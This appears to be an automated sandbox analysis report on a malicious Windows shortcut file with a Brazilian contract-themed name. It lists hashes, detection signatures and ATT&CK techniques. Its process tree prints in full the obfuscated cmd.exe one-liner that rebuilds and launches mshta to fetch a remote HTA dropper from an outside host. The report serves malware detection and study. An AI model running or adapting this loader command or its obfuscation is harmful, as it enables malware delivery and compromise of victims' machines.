d597030290c44129a7280f3506072d2c31eb79b72c59cbce18727424d26d06f1

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:45

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General

Target
Contrato_Indeniza_Brasil-PHD83E.lnk
Size 2KB
Sample260803-py3dasbk7t
SHA256 d597030290c44129a7280f3506072d2c31eb79b72c59cbce18727424d26d06f1
MD5 bab386f46f887a0ace02c238c0863b4d
SHA1 d494fe3288cb65f6bbdd722e8e4389110142fa6b
SHA512 acde90f2970812c22f785c6911ef3c6a5b6a316e42b01f79770e995285f0b8541e8ae3988f05380ef2a33790814a69b75db57b05b815a9ea6a9a6535a9326d84
TLSH
T1515134803EEA0198F3BB9E7AD9FE7711497BF9516D60C9DC4850C10D0562F01E972B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4832	mshta.exe
6	4832	mshta.exe
7	4832	mshta.exe
8	4832	mshta.exe
9	4832	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4856	cmd.exe
804	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4856 wrote to memory of 804	4856	cmd.exe	90
PID 804 wrote to memory of 4832	804	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-PHD83E.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4856
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set bLmtI=netrdkpppywcwfjfcboggnet&set gDew=cacheqdwsztxnysvatgdhphtcache&set XXDX=5s0&&set UJ=qy6tgk&&set BSpqG=g6artt&set Pwc=sysbolasxpgsys&set wuSOQ=ulmw6v&&set LtfXw=wshenz&&set rJ=dxtato&set UmlKj=cfgfsswyluwttacfg&set voqQ=cacheuwhdzseyawzfscache&set lLtor=cfglwkwunvgaeetmcfg&set Dgk=cfgaxeyohaxtfmgygpcfg&set EXNBG=netjuawbdyostczcxxgxbmhnet&set WGgp=tmpipgaayatmp&set BK=tmpyaybxhaestmp&&set wS=h@ttps:@//@a@g@l@o@b@a@[email protected]@om/@h@/es@ta@[email protected]@?r=@271E62F@D4093C@D@4@D6@D&&start /b !wuSOQ:~2,1!!LtfXw:~1,2!!rJ:~2,2! !wS:@=!&&set fsC=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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